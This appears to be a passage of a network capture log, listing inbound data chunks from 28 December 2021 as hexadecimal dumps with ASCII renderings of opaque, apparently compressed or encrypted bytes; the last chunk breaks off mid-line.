2021-12-28 17:13:33 UTC	3343	IN	Data Raw: 55 9c f6 38 7d 8e 70 51 ab a3 4a e4 67 76 85 b4 7f 44 ea 2b 88 e1 fc 67 fe 08 97 cd 22 cc b0 9f a1 b9 a5 5a ac da bf 3f 51 db 5d c8 e3 62 81 5b 18 78 68 d1 96 3c b4 a5 21 50 7a c8 2b f5 84 5e 77 cc 08 b9 40 95 64 6a 3e 67 57 60 4e 64 18 23 3b 08 1c 85 d1 7e 8d 08 45 11 6b 8a ad 93 75 26 ff 34 a1 68 84 19 74 e6 6b fe 2b 9b 47 80 28 7e 5c 42 bb 68 83 1e b8 1c f8 f2 45 ec 59 47 f0 eb 27 b4 46 1b f0 c1 95 94 53 f0 29 85 c9 1a ba c3 c0 96 b2 09 78 3f d2 e2 00 90 36 8c c6 62 95 fa 8d 6b 6b 0e fc 2b f5 39 e2 bb 7e 0b 25 1f a2 66 93 ef 5b ce 6c f2 54 7d 7c a2 af 80 ae bd d9 6e d4 30 f6 16 8b 4c 86 8d 62 4f f5 62 d9 cd 98 b9 72 3d c4 62 4e 62 de 9b 41 a4 29 1b 7f 4d 9e ec 70 a9 02 33 83 7a 6f 73 f8 fd bb 85 5a be 0d 48 3b 79 f5 8b 51 30 73 5f 0a 7e 19 3e dc b1 db Data Ascii: U8}pQJgvD+g"Z?Q]b[xh<!Pz+^w@dj>gW`Nd#;~Eku&4htk+G(~\BhEYG'FS)x?6bkk+9~%f[lT}\|n0LbObr=bNbA)Mp3zosZH;yQ0s_~>
2021-12-28 17:13:33 UTC	3359	IN	Data Raw: ef 47 75 bc b9 87 c7 da 2d 47 90 e5 ce 9a 60 31 fa ec cf 81 11 db 58 43 95 88 e8 5f de 2d bd a5 27 db d0 9a ef 2d 6d 7e 10 50 e2 92 aa f1 7b c4 2a 65 57 f9 53 c9 3f 2d bf 9c 7a 56 d6 96 cf 90 a2 a3 d1 96 cf b0 f8 49 6a 5c bb 20 38 f0 86 f7 b9 61 4b b9 77 4b 0f d8 1b 45 ca 29 fe ee e4 2e ae f0 b5 fe 1a ba 2c e8 f3 e4 24 01 33 93 d7 02 48 96 9e bd 53 dc 0d db d2 95 f9 fd a9 80 ea 06 5b 87 0a 87 aa a8 42 2b 0b a9 95 03 8e 2e bf 25 e8 1e b0 8f 36 0d 82 aa df 4e 18 e4 15 6f 22 57 d3 f4 42 b6 51 fd bf 00 1d 7b 7b 11 36 7c 0d 9d f3 8c 5b b5 ae c9 9f 7f 50 24 5e 18 88 e8 7e 7c c2 47 de 89 2f 9a 63 06 63 e0 40 46 52 00 85 3e 02 e2 a5 e5 b6 7d a5 53 86 52 43 dc ba 4c f2 75 23 fb 28 bb 58 f4 83 fb 47 33 32 81 e1 33 ef 74 3b 3f 80 ec 1b 61 5d 08 08 78 f7 4c a2 57 f3 Data Ascii: Gu-G`1XC_-'-m~P{*eWS?-zVIj\ 8aKwKE).,$3HS[B+.%6No"WBQ{{6\|[P$^~\|G/cc@FR>}SRCLu#(XG323t;?a]xLW
2021-12-28 17:13:33 UTC	3375	IN	Data Raw: f4 4b 6e 7b 1a f2 81 d9 da ba d9 5c c4 6b 5a 26 27 47 8c 10 b6 ac 62 73 c5 ea f9 fe 4e b7 20 d2 32 3c a0 cf 78 15 b4 80 73 b2 e5 93 78 fa 72 ba b6 f9 67 a4 3e d4 4c f1 b2 9e 1d 5d ab 04 71 0d ca 3f 0e 15 fa 5a fc d2 7b 83 e6 b2 85 89 47 a7 66 d4 72 9a 87 cf cf 3f 6a 95 b9 63 2c 72 3c 1d c6 2b a0 14 bf b5 4f 2e 2f 82 02 3d 77 70 66 fd 21 51 52 2e d7 63 26 43 47 ee fa 56 1c 41 f5 89 dc 96 2b 2a b9 12 2a de 76 b6 8b d3 92 b9 9b 24 f4 3a d0 39 f3 8e 08 07 7b 35 d8 3a 6a 59 94 33 a3 fa 9e 58 c5 93 de b1 27 55 cc ee 84 80 3b 23 d6 33 09 e9 1c 7b a9 53 06 54 28 24 7c 50 11 1b 6d 68 ec a3 04 8b b7 68 88 84 71 da c7 c2 e6 ce e5 2e 6a 59 3a 32 db e8 03 bf 80 ef d6 c3 3d 1f f1 60 ca fa 4c bc 48 7c b7 f9 f5 b1 08 90 f5 a2 e6 4f 3f 56 a2 1b 68 fd bd 5e 8f 37 d4 d8 d1 Data Ascii: Kn{\kZ&'GbsN 2<xsxrg>L]q?Z{Gfr?jc,r<+O./=wpf!QR.c&CGVA+**v$:9{5:jY3X'U;#3{ST($\|Pmhhq.jY:2=`LH\|O?Vh^7
2021-12-28 17:13:33 UTC	3391	IN	Data Raw: 6b 6c 87 eb 7d ee bc 8c a9 3a 3a d1 c7 d7 31 a6 62 7c 02 ac 53 e0 34 ef af 6a 04 02 e5 4d 93 59 02 ce c4 77 5d 50 f5 a5 17 16 14 2b 2d 53 26 94 3d ae 01 37 e7 ff 38 d7 33 d0 55 2e c7 15 06 6a cb 67 c2 81 8d 4e 6f 73 2c 6f b8 f9 22 4b 94 ea 2a c6 5c f4 87 3a 17 5b b2 87 cd c1 c5 20 3e 6e 85 07 42 49 01 ae a1 c4 88 82 03 84 5e 83 06 6a 84 33 7e 28 d0 cc e6 e9 21 1c 3c 1a 31 ae ba 9f 68 4c 5f 0f e1 b8 64 5b 3e 27 92 9e 53 80 d5 9d 1f a0 02 74 60 e0 7e f8 6d e5 86 08 eb cf b5 b8 54 24 56 5c 13 ed 34 84 ea 67 92 a9 09 43 5b b7 cb 28 25 38 82 cd 1c 02 1b 63 a6 ad 44 4d 76 43 04 e4 ea 50 f6 a0 c5 0f 7c 89 76 de ca 8b 1b 84 b0 89 4a 8b c8 9d c0 3f 1a 64 8f 53 79 ce 5e 2b 92 7f 70 80 8d 2c 70 f1 b7 ed a6 b2 37 89 46 2e 3e eb 7f e7 5d a8 0e 16 ea a7 70 33 aa 82 c9 Data Ascii: kl}::1b\|S4jMYw]P+-S&=783U.jgNos,o"K*\:[ >nBI^j3~(!<1hL_d[>'St`~mT$V\4gC[(%8cDMvCP\|vJ?dSy^+p,p7F.>]p3
2021-12-28 17:13:33 UTC	3407	IN	Data Raw: f3 39 ca 1e 30 a5 e5 cb 8c d1 33 a9 b7 68 b3 05 f2 c7 40 31 6f 9e c8 eb 64 64 7f 07 04 28 58 34 5c 4a 4e cc b6 8e 13 cb 50 5b 01 cc e9 cc 5d 6c 3a a2 a1 ce 9f 46 b8 c7 4c 97 2c 58 fd bf 16 14 ea ed 7e e0 83 ba 48 e9 99 ac 35 43 b3 28 1c d8 ca 18 50 f9 d6 46 d1 7d 70 49 47 2e 5e 99 11 84 fe a4 cb 5e ad ea 04 41 1d f7 0b 7b 57 e4 4e d3 a7 a4 2e d8 42 5f a6 95 90 83 31 86 b0 60 1e 9d 56 bb 7c 66 07 47 2f dd 6d 1a 6a ec 16 2d 6f a1 60 79 5b 9a 06 61 c0 e4 36 d9 aa 73 46 be 1b 79 2d 50 99 a2 d0 7a dd 2e 1a c3 8d 91 ce 2d b7 cf e8 fb f6 28 a4 76 42 e0 2a 90 a1 91 df 7c ab 03 f5 77 dd e7 d1 7b c8 d2 d1 c8 53 7c 84 65 27 c3 6b f6 c0 d9 e5 c7 27 62 c8 23 b9 10 63 27 c1 c6 0a 14 46 62 51 63 7e 15 89 19 14 a3 f6 ae 76 85 2c 4e 1d e3 c3 f0 42 f4 f2 ba b5 f3 1d 72 a9 Data Ascii: 903h@1odd(X4\JNP[]l:FL,X~H5C(PF}pIG.^^A{WN.B_1`V\|fG/mj-o`y[a6sFy-Pz.-(vB*\|w{S\|e'k'b#c'FbQc~v,NBr
2021-12-28 17:13:33 UTC	3423	IN	Data Raw: dc 29 9e ac 6c 74 80 e6 1c cc af 41 71 98 13 1c df e2 5f f1 06 ab b7 3d e6 24 07 a1 31 57 85 90 0f 29 31 d2 46 d1 ac 00 26 c4 9f 88 7f 4e 5e a8 ee 54 e6 12 64 08 0f 9e 5e a0 1d 60 51 6a d4 f7 c6 a0 0c 03 33 ed 65 8d a4 26 24 22 83 1f a2 06 61 35 38 1c 20 77 8d bf dd e9 52 66 c7 db bf 62 32 95 3d a2 67 e2 36 51 a8 4f 00 2a d7 86 2e 9f 2e 87 6a 13 1f da 56 8f 97 88 d0 77 03 dc 64 78 b1 bc 93 f1 04 69 43 e9 4a 24 19 3f 77 f8 91 d9 c3 38 f0 cf 18 2c e7 2a 0f 34 12 56 da 86 df 4a 46 e3 34 04 88 3d ee f7 31 8b ff 06 05 e9 89 2b de ce ed d5 77 7e 89 65 d6 e3 18 12 f3 f5 fa 7d 6f 7f 14 1c 40 6c c9 cc 4c b8 5e bc fc 8a 5c 61 58 34 99 47 74 89 a8 c6 eb f1 fc 22 e8 db d8 ba b8 37 64 49 2c 2e 1d 0d 0c eb 97 53 11 b6 6f b6 78 79 ab 37 84 35 e9 17 55 97 33 00 96 a9 96 Data Ascii: )ltAq_=$1W)1F&N^Td^`Qj3e&$"a58 wRfb2=g6QO..jVwdxiCJ$?w8,4VJF4=1+w~e}o@lL^\aX4Gt"7dI,.Soxy75U3
2021-12-28 17:13:33 UTC	3439	IN	Data Raw: 0d 3a f3 85 ab 0c 2a bf b3 a3 c2 43 0f 72 68 b3 6d 00 7c 56 3f 05 3c df 0e 60 24 10 86 3b 7e 16 17 b2 97 c4 98 14 66 f2 4d 80 e3 e0 9d 61 d3 7a d3 f9 5f 2f c4 98 c2 28 ac 20 39 d5 d3 ea 18 92 38 8c bd cc 37 7c 3f ec ca 3e 46 4f 15 7d 9e d4 32 2b ca 49 89 95 2a cf fc 1c ba 98 cd 71 84 bf fc 0f ce 3f 14 25 73 5b c1 67 e8 28 72 9a c7 5b 52 4f 19 b4 d7 ba 9e e3 d2 fd 2a 75 72 ee 3f 93 a4 e3 3f 4b ce c2 ff 0a 81 e5 34 91 a4 d5 e4 fd d8 b7 73 08 46 80 2f 72 4e 03 3f 68 b0 cc 43 d6 79 81 90 b0 39 fa 20 ef ab 1a b2 5f 85 99 20 13 59 19 5c 8f 9d ea b3 bb b8 37 6f ae 2f b1 20 cd 08 e0 44 2a 00 63 ab ea 75 83 f3 35 c1 9a 5e ee ca 61 96 8c ee a9 6f cf 4c a1 4b 24 b3 2a 68 30 89 ef f7 95 3b d1 ea d7 a4 3d be 08 7e 21 e1 57 1e 0e 74 19 03 80 40 34 6a 27 de 91 d3 84 9d Data Ascii: :Crhm\|V?<`$;~fMaz_/( 987\|?>FO}2+Iq?%s[g(r[ROur??K4sF/rN?hCy9 _ Y\7o/ Dcu5^aoLK$*h0;=~!Wt@4j'
2021-12-28 17:13:33 UTC	3455	IN	Data Raw: 3e 06 ae c7 a3 b9 b2 46 6e 8a ae ff 1b 22 3a a7 45 c3 7b 1b 97 07 d6 63 0f b0 46 fc ee e8 74 1a 69 fe 59 6b 1e 37 d6 dd bd 6c 19 b6 c1 8b 55 b2 bf 9a fc 93 78 5d 62 c4 1f fa ff 61 f4 28 56 4e 68 56 22 45 14 6d d8 af f7 37 99 ce 40 24 90 ea 37 ab 1a 40 6a 70 33 fb aa 17 de a3 53 7a 62 fd 6a 04 9b 05 94 99 15 46 af 0b 17 52 7b d1 be cc 3c 96 a4 37 c7 18 62 f0 5f 8d b4 66 8b e9 1e 9c 7b 33 ff ca a8 cc 1f 63 e6 8c 4a 89 05 45 6b 93 27 e4 ec 47 ae 45 24 83 2e 77 ac 2b 46 89 73 3b 26 46 6d 0a be 6b cd 1b c9 60 2b 02 dc a8 3b f2 95 4a 1a 22 68 5f 1a 4f 10 7f 59 4b e1 f2 8f 62 02 7e 09 cb ef 61 70 07 99 25 59 c7 ad 2a ea a5 4f ea 2f a9 69 83 a6 d0 1d b4 66 22 d8 ab 3a 18 01 f1 a2 57 a9 5e eb 14 8d f4 04 2a 86 5f 30 84 88 bf f5 33 78 08 a0 3b ee b1 ac 70 45 10 96 Data Ascii: >Fn":E{cFtiYk7lUx]ba(VNhV"Em7@$7@jp3SzbjFR{<7b_f{3cJEk'GE$.w+Fs;&Fmk`+;J"h_OYKb~ap%YO/if":W^_03x;pE
2021-12-28 17:13:33 UTC	3471	IN	Data Raw: 0c 36 88 1a 0c 5c 90 b3 13 7f 18 e2 bb b4 55 4a aa 3e 71 24 e0 9c 16 74 14 ae 37 70 0c d7 41 64 c6 d2 65 32 eb 06 8a 22 2e 62 db 5f ad df a5 d5 ea 18 87 d0 d9 f3 9b 4a 0c e7 05 8d 7d e4 21 ad 86 45 a8 21 7a 44 6a 97 5b 14 2a 34 85 64 4d 06 6f 5a d3 f0 f6 03 7f 07 d4 fa 3c a0 58 29 d5 02 dc 41 2f 30 1c c1 2d ba f4 17 98 16 a8 b2 ff 6e 19 b2 d8 4d 07 97 28 b5 7a b0 2f 9d a5 da b2 0a 7d 7f 93 b5 b1 69 41 c7 de da af 68 11 a6 c9 4c 39 1f d2 84 7d 27 7e 44 90 5f c0 7b 2c 1a 95 3a bd 64 30 44 3a d4 75 0c b9 04 6c 96 6a 7d 49 79 9c 7c 60 f5 64 52 59 08 5b 7c ce 8b e6 74 3a 83 5b ba db ab 8a 90 ae 90 38 16 1c 87 c5 5f c7 69 39 0d 2d df 60 1f ad 54 98 33 c3 08 a4 39 cd 8c a9 40 9d ce 51 40 b0 3d 96 ec 78 48 b7 cc 81 21 5e a4 45 c3 c2 28 eb 49 20 2f 93 94 8e 8f 4f Data Ascii: 6\UJ>q$t7pAde2".b_J}!E!zDj[*4dMoZ<X)A/0-nM(z/}iAhL9}'~D_{,:d0D:ulj}Iy\|`dRY[\|t:[8_i9-`T39@Q@=xH!^E(I /O
2021-12-28 17:13:33 UTC	3487	IN	Data Raw: 4d 94 f9 3f 43 cc b2 28 09 b4 5e 2a d9 f8 cd e6 75 57 d7 a6 96 ff d1 04 2c 4e ad 87 77 9a 67 5b b0 ae 43 a5 0f 99 be 0c 9f 0d 3c 3e 1f bd 20 bc b5 ba 1c fe a9 2b 85 11 30 a5 88 3f b1 f5 c9 2d 2d 86 00 ed 26 d1 6a fa b7 93 f4 1a 06 5c 20 3d 58 95 41 35 b7 5b 8a d7 31 df a3 1d f9 cf 10 ae c2 05 67 d1 cd c8 59 e2 01 af d5 c1 6b a6 38 c6 7b 3e 9f 42 31 f1 78 72 41 67 15 82 e8 57 f5 c2 84 e8 03 53 66 ed 22 93 b1 9d 9b e1 ae ad 3a 8f a4 0b 76 b8 c1 c4 ac 34 0e af 2f 6f db 76 15 f4 00 3a 78 7f ab 0a 86 68 6d 8e 32 c1 d8 d4 b5 80 e8 bb 81 a0 f0 4b 63 e3 57 99 23 fe 87 56 8d 1e c3 50 da e0 16 c6 fc f1 9c 82 39 a6 89 66 78 c8 ea 3e 73 95 42 4e 71 19 c2 d5 f3 b0 46 c5 44 7b 0b da 3c 21 0f 0c dc 4a 0a f8 61 f8 49 f5 4b c3 8d ca 2a cc 34 80 9e 22 29 ff f7 d8 92 f7 17 Data Ascii: M?C(^uW,Nwg[C<> +0?--&j\ =XA5[1gYk8{>B1xrAgWSf":v4/ov:xhm2KcW#VP9fx>sBNqFD{<!JaIK4")
2021-12-28 17:13:33 UTC	3503	IN	Data Raw: f9 a0 dc 74 a8 fe 82 68 ee f3 16 e2 27 3f d2 44 c9 2c 59 92 9b de 1b 4e 47 d0 69 13 0e 40 d5 18 23 8e 9a a1 d5 4d 54 9c 6e 3d 25 b6 2c d9 cb 5f 94 a0 93 9a f5 07 80 2c 0a 5c 67 1e 9c 92 b5 5f 17 6e 8b 50 00 61 3c 74 b9 18 40 77 e3 8f af 99 bb 5f 9b 71 0f d0 71 50 84 43 73 c7 f9 9b 10 29 7f 78 fe 59 71 92 f5 25 9b e2 dd da 9b db 94 3d 36 9c a8 67 da c1 b9 8a 46 cb 69 78 cd 1a ea 74 71 be 23 c7 c5 b4 46 97 81 b0 85 2a 8a d6 09 93 c6 f3 ab e7 4f 99 c7 b9 3f 1e c1 4c 96 d8 c0 6f 52 2d fa 49 c4 19 8e 31 8c 58 1a 44 4a ca b3 cf 36 3a d7 54 d9 39 6e b1 6a 2c 58 e0 5c 27 92 89 84 21 88 2b a2 0e 7d f6 2f dc 6b 2e a1 61 2a a0 4e 16 d0 f3 95 88 c0 c3 7e cf 42 5d 37 e1 00 ca f1 0f b8 9d fa 5e ea c4 76 5c 58 6d 39 7b 8e 9e ed 00 31 8a a1 a2 49 b5 83 79 ca 04 52 f6 9a Data Ascii: th'?D,YNGi@#MTn=%,_,\g_nPa<t@w_qqPCs)xYq%=6gFixtq#FO?LoR-I1XDJ6:T9nj,X\'!+}/k.aN~B]7^v\Xm9{1IyR
2021-12-28 17:13:33 UTC	3519	IN	Data Raw: 84 27 c0 e6 27 d8 a8 69 8a ac b8 3c ea 98 06 c9 de d9 66 11 11 ba 6d 9d bf b2 05 35 4d e0 cb d5 e2 58 30 bc 73 52 84 7d 21 7d c0 f8 e0 e9 03 31 3b 58 f1 e3 7e 2a 82 3f ba e6 f1 1e 7f 37 73 d6 99 9a fb d5 3e a0 6c e9 51 ba 57 2c 79 b7 87 66 eb 70 20 72 40 f3 c0 d5 27 49 2f ed 02 0e f4 37 d6 be 31 bf e3 0c 76 41 89 da 1e 96 0a c9 be 2b f0 02 36 88 4c 97 f5 b4 36 59 a9 0c e3 a6 21 6e f3 b4 cd c0 4c ec b2 05 77 4c 83 03 f6 42 69 10 ad 43 ce d9 98 30 d4 08 c3 ed 00 b3 9d ce ca 3e 27 81 b3 15 c2 e3 7b 70 81 7a e4 e8 1c ea f8 93 df c2 05 29 e0 8b c6 41 0e ec 7c 46 49 a4 9f 4c c3 d4 5b aa c5 a9 01 81 a9 01 5c fc 5a 07 fd df bc e6 3c c0 1b f4 43 51 1f 98 80 4c 59 38 c6 28 92 1f 7d 2b 04 32 b1 a0 ed 47 3d 96 09 57 ca 8e 19 95 15 e3 1c 55 2b c5 0e 7a 81 ca c3 0e 06 Data Ascii: ''i<fm5MX0sR}!}1;X~*?7s>lQW,yfp r@'I/71vA+6L6Y!nLwLBiC0>'{pz)A\|FIL[\Z<CQLY8(}+2G=WU+z
2021-12-28 17:13:33 UTC	3535	IN	Data Raw: 0c 66 fd bd 08 3d 3f d5 ef d7 44 cc fe 4c 72 93 5d cd e3 95 98 a4 1c 44 95 00 cc 58 6a 71 dd 79 fd 88 6f ae 98 b0 3d 19 7a 64 89 01 c5 54 7e 63 52 9d d2 ed a0 51 3a 97 f7 5e 34 35 f4 12 67 2a 9b ac 12 9d d0 84 45 7e f6 f3 6e 46 cc 93 27 ee fa cb b6 6a 38 14 a0 51 20 56 e5 69 3b 6a b4 30 94 76 68 af 53 6b b3 17 56 e9 3a bd fe b6 f4 48 ae 4d 1b 9b ea b5 e4 b2 d7 eb 2c ad cc 26 ed 03 a7 f1 9b be db ea 23 b3 9d 56 e2 ad 7c c8 25 92 b7 ad fc 98 6b 9c 99 02 a2 e3 e9 cf 87 b8 8e d7 bc 02 dc c9 b5 03 71 c5 27 78 f2 0f 5f 34 15 d9 fc 29 8a 9c db 3a cd ab 90 70 8c 1b ab 60 7d f1 f3 2c 5a 07 7b f8 f4 e9 9f ad 39 2e d6 c9 f3 85 31 e4 58 8b 7d 49 7e 8e 3d b6 f3 88 4d 02 c5 de 10 df f9 db 3f 74 99 d1 90 48 ed d7 5a d1 1f 81 1c 04 64 8b 8b ef ea 0e 87 f0 a9 6a cb 37 dc Data Ascii: f=?DLr]DXjqyo=zdT~cRQ:^45g*E~nF'j8Q Vi;j0vhSkV:HM,&#V\|%kq'x_4):p`},Z{9.1X}I~=M?tHZdj7
2021-12-28 17:13:33 UTC	3551	IN	Data Raw: bc 5a b2 fc c4 60 d2 fc a1 d0 d2 1c 48 10 73 91 c6 a2 bb e1 a3 c7 e1 b4 e1 e7 78 db 5e 56 a4 ad ba b3 8d 0e d8 a6 be cc d1 cf 0a ba 68 16 39 66 f2 79 40 27 2e fb 97 be ce ed 18 eb b1 d1 ba e2 58 ef bd 89 a2 3f 9d a3 96 8d 13 56 13 50 06 21 d8 67 14 0b 4d fd 1f 03 20 3b c7 03 fd 76 9a d2 3a d0 ed ea 99 c6 91 6e be 99 77 f1 1e 80 41 ee c2 48 d9 a0 07 7b 81 da 64 60 a1 86 10 09 59 f9 81 22 0b 09 46 85 53 8c 55 76 af c3 bc f1 18 7d a7 81 ec ea a2 f6 62 c0 17 d2 5b fd 98 12 d8 85 e2 be eb b5 a2 c7 70 18 fa 4c 8f 53 49 d3 7c 2a de 63 7c 54 1b be 97 88 37 37 cc fb 8b 35 50 9d 6e b9 2d 0a ff fb d7 bb e4 2d 23 ea ac 2f 29 50 3f 62 bb 54 28 e4 9a 1b 03 fa a3 52 ef 42 1e da 40 35 01 96 9b 5b 4e a4 ea 74 ba e2 a6 f6 35 0c 05 ba 6f a8 6c 62 2e 5c 82 69 c9 aa 44 fe 07 Data Ascii: Z`Hsx^Vh9fy@'.X?VP!gM ;v:nwAH{d`Y"FSUv}b[pLSI\|*c\|T775Pn--#/)P?bT(RB@5[Nt5olb.\iD
2021-12-28 17:13:33 UTC	3567	IN	Data Raw: c2 71 1c 52 79 4e 37 5c 2e d0 d4 73 ab 3a 1e de 63 8e 59 3b d4 33 1c 2a bf bc ac d1 9f e8 93 c6 e4 f1 ac cb 6e 71 f2 4e 37 80 6d a9 84 37 f5 dd d7 32 e0 bf 13 56 97 cc 37 da 54 62 09 a9 fd 37 5b ce fd 60 e7 76 49 65 9e 6a 7a 55 40 72 0c 79 42 6e 3f 3e 55 05 2b f4 54 ae bc a7 27 66 4e 7f da ec 70 36 b8 fc e6 2a 4c 7b b6 87 78 7f 6f ac c8 90 97 5f d3 90 50 5a 2d 3b 13 33 1a 01 e8 42 30 9c 2c a4 44 9b 5a 57 39 64 50 be b9 eb 2c 71 e1 b0 d9 42 34 b6 53 64 22 8f 1e bc 7e f2 95 c8 6b a8 ae f3 8f 71 74 75 e1 f7 cd 59 38 06 36 02 87 24 41 35 a3 bc 22 ee 8e bd 2a 96 63 9d 69 9a 7b 5b eb 34 0b f8 e4 9f 11 20 dc ed 90 98 c7 c6 26 db fe 1e aa 47 fc ad 72 9e c6 ea 94 41 84 d5 de d3 d9 d1 b7 ef 98 f1 4e 06 08 92 7e 9a ae 85 94 86 f0 2b c3 53 cd fa 04 8d b6 0f 18 ab d4 Data Ascii: qRyN7\.s:cY;3nqN7m72V7Tb7[`vIejzU@ryBn?>U+T'fNp6L{xo_PZ-;3B0,DZW9dP,qB4Sd"~kqtuY86$A5"*ci{[4 &GrAN~+S
2021-12-28 17:13:33 UTC	3583	IN	Data Raw: f6 dc b5 43 78 94 0f 8c bf 33 64 d8 87 73 2f d2 6c 5f 56 a7 3e cf f6 22 48 2e e1 9d 86 89 02 4e 98 57 80 f9 c8 93 37 ae ca d2 f2 c1 4e 0d 24 2d d7 72 d8 7f a1 d3 1b a3 df 84 4c a5 4a 71 2f 81 a0 08 55 b0 59 be 5c 2e a4 92 1b 13 b6 3f bc 90 0c 34 92 11 86 b5 23 44 41 07 fc 16 1a 2b c6 6f 0b f9 1b 09 25 62 86 51 9d dd 9f 9f c7 f8 83 e0 8c 81 5e cf 68 92 f1 be 4c 15 1c a0 56 35 b0 88 7c da 3d c3 59 b6 7d 92 cc a5 4c 7c 6d 84 85 e5 7b 20 f7 26 3e 7f 91 1e 3e b0 c6 0e b1 76 8d 2c c2 c4 32 10 74 cb 3b 6a c7 af c2 ae 96 eb 50 e7 1d 22 c8 d4 97 db 01 04 29 1a 78 03 e6 e3 a2 87 04 16 62 62 19 54 e1 a3 1c 26 48 f9 b1 f9 ef 63 9a db d4 74 c8 cc 1b 08 ae ab 63 24 1b 78 db 29 7e fb e0 eb 9f 25 10 cf cb 54 42 b7 a8 2e ab 1b ec 4e 42 eb 38 a4 0b 3d 30 e7 c1 b7 47 1b 13 Data Ascii: Cx3ds/l_V>"H.NW7N$-rLJq/UY\.?4#DA+o%bQ^hLV5\|=Y}L\|m{ &>>v,2t;jP")xbbT&Hctc$x)~%TB.NB8=0G
2021-12-28 17:13:33 UTC	3599	IN	Data Raw: 02 a4 9e 71 44 b9 3c c7 14 25 a9 e4 82 98 a7 3a eb c2 c7 5b 6e 1c 66 bc 95 5a 91 52 0c 38 13 79 28 cf 3f ca 37 0a 4e e2 3d ab 6a 64 ee 3b 3f 29 ac a8 68 a2 7c 9f 25 6f f6 ed 01 7b 59 e4 ef 9b e5 aa 45 d3 2f ad 3c d5 09 a7 e2 cc 90 7d 62 c8 d8 16 05 de 18 dc 67 b7 32 19 f1 70 2d 69 07 9d ae a7 a4 3c 13 d2 cd f6 80 38 f8 19 a1 9a b9 47 f8 5b 6d bb 60 47 48 cb 12 cc 5f a2 61 bb cf 60 17 04 41 c2 32 df 2c 03 ce 15 c1 c3 38 c7 2e ac 39 9e 0a 4d 0b 32 26 a9 38 0c a9 e6 09 62 6d 23 43 8e aa 05 f7 d3 b3 3c 33 d5 ed 8c 20 c9 12 cc bb 28 35 45 fc 35 08 1c c8 9d a5 da 5a e6 23 e7 b3 1e 33 38 66 2c 6a 9c 7d 5f 95 4d b0 2f 14 88 25 9d 2d 6d 78 66 90 28 bf 12 57 76 81 5c 25 f6 f3 dc 30 13 87 5f 2e ab e2 01 1a c0 b1 bc 9a a6 79 81 f2 74 d8 da 39 80 d5 38 78 f5 54 75 84 Data Ascii: qD<%:[nfZR8y(?7N=jd;?)h\|%o{YE/<}bg2p-i<8G[m`GH_a`A2,8.9M2&8bm#C<3 (5E5Z#38f,j}_M/%-mxf(Wv\%0_.yt98xTu
2021-12-28 17:13:33 UTC	3615	IN	Data Raw: 43 52 b1 b3 55 cf 3c bc bc dc 7c 5f f6 64 53 47 38 02 f2 04 3c 26 4c fa 2e 67 26 e0 fc 20 1e c0 54 b5 12 44 48 fe d9 da 79 bf a9 c1 11 8c f1 02 2e fb 7d 73 b8 20 9a 4d 1e 1e 0a 13 be df dd 88 8c 40 e8 9e 2d d5 61 97 4e d6 62 8c bf a1 2d 95 d8 7d d9 d3 3a cb 44 1e 44 c4 c3 e1 63 b6 60 be 71 79 e4 b0 cc 14 74 c7 ce d4 73 28 03 79 09 61 4e dd c0 e9 a4 c9 11 23 86 4d 08 93 cd 74 93 c1 70 b0 a9 a4 f3 ae 31 bb 46 c0 b4 16 0e 07 aa 9a c3 38 97 09 22 18 97 0f 3f bd 44 7c d4 76 d9 24 ff 3f 17 e0 fe 7b d5 63 2c 02 11 ec b1 57 cc 85 bc 6c 92 85 34 2a 66 ef 64 bb c7 c3 ec 68 28 ff 62 6c 54 fe bd 53 1a ec 46 f5 4d 9a 7c d4 a3 8d 06 8a 51 b2 bf 8d 86 9c 8b 3a be 05 94 a7 2c 68 48 b2 7f f6 fb 93 75 ad 43 c8 ab 9e 69 dd 9d 45 d4 1b 9b 79 45 02 46 4b 58 77 aa de 5d c4 29 Data Ascii: CRU<\|_dSG8<&L.g& TDHy.}s M@-aNb-}:DDc`qyts(yaN#Mtp1F8"?D\|v$?{c,Wl4*fdh(blTSFM\|Q:,hHuCiEyEFKXw])
2021-12-28 17:13:33 UTC	3631	IN	Data Raw: 64 50 af c2 db 43 ac 4a 81 f9 92 72 d0 a0 0e b8 f5 ad 2b f9 42 f0 1f c9 e9 f8 3a ca 32 f6 99 ef 85 b0 91 09 a7 64 1e 09 61 d1 c3 ea b0 b3 c3 64 54 d8 7c 41 2b 83 88 19 a2 7e 0b e1 ce 17 5a be d4 0b cd 9a a8 06 44 34 1d 62 65 b3 19 44 9c 2f 73 7c 33 50 27 b4 b4 37 6c 31 1e 4c 5a 67 1b 38 39 ab 66 ee 2d be f4 b9 5b 81 e2 59 d6 1c e5 90 07 35 52 d0 73 d0 00 48 0b 1a 34 18 82 c2 e7 63 51 20 4b c9 85 88 7f c2 9a 1c 7d dd 83 a4 8b 40 8c ba 99 b7 34 0e 3e 6c b8 a5 40 83 46 bf e3 11 ba c9 cb e3 4c 4b 44 98 2b ae f6 bb 73 96 1c dd 8b 35 18 d5 c7 f5 fe 5b e9 e4 f1 eb 4c 8e 79 ca 6a bc 80 93 0b 9e 1a 06 a1 d6 f3 26 64 64 9b 0d a8 d7 73 39 ac b7 d7 8c 85 c9 bd 1f 2a 43 32 62 2f 88 09 a4 26 45 c1 fd 1d 5c 30 7a 99 59 ff 96 52 70 1d 2d 4e 5b 93 17 8a 35 f4 bd c0 78 3a Data Ascii: dPCJr+B:2dadT\|A+~ZD4beD/s\|3P'7l1LZg89f-[Y5RsH4cQ K}@4>l@FLKD+s5[Lyj&dds9*C2b/&E\0zYRp-N[5x:
2021-12-28 17:13:33 UTC	3647	IN	Data Raw: 85 93 fc 86 65 e8 d7 7f 8e 03 ba 7d 1a a6 28 9e 8e 9b 43 fd 1c ac 19 66 ab f4 29 9e 08 7e 37 41 af 12 07 b5 4d 53 53 8f 4a 14 b9 ca 59 2c b2 21 f6 00 0d e0 5e f7 a4 75 f5 b6 b0 9b 4f 75 7b e5 bf 8f ea 4d db a8 1a ea 8a c8 76 e6 0e af 88 4a aa 5e 6b 2f b1 42 fd ed 73 c9 5a 4a 80 79 9a 69 b8 18 00 54 aa d5 a2 e0 29 26 db 4f 8d 1f e5 52 3d f3 d1 bb f5 d3 b1 2e 1d 48 7a cf 10 f5 90 d0 c6 1f a3 ef 7e ef 4e c9 0a e7 f3 77 58 04 d8 4c de d9 0a be 79 0d 46 b2 d3 34 4f 57 cd cf 55 9c 84 71 0a 77 4c 91 32 63 4d 9f 43 83 27 81 e0 84 44 49 c7 9e ca af f2 b1 1f 90 79 b6 b2 08 51 e2 39 ae 2d fa 82 71 ab 87 7d 47 8d 34 4b 36 7e b8 56 88 e7 0e 1b cf ef ea 54 00 c9 f3 b1 38 31 d1 d9 b0 dc d3 42 8d d1 5d 98 a0 f2 a6 29 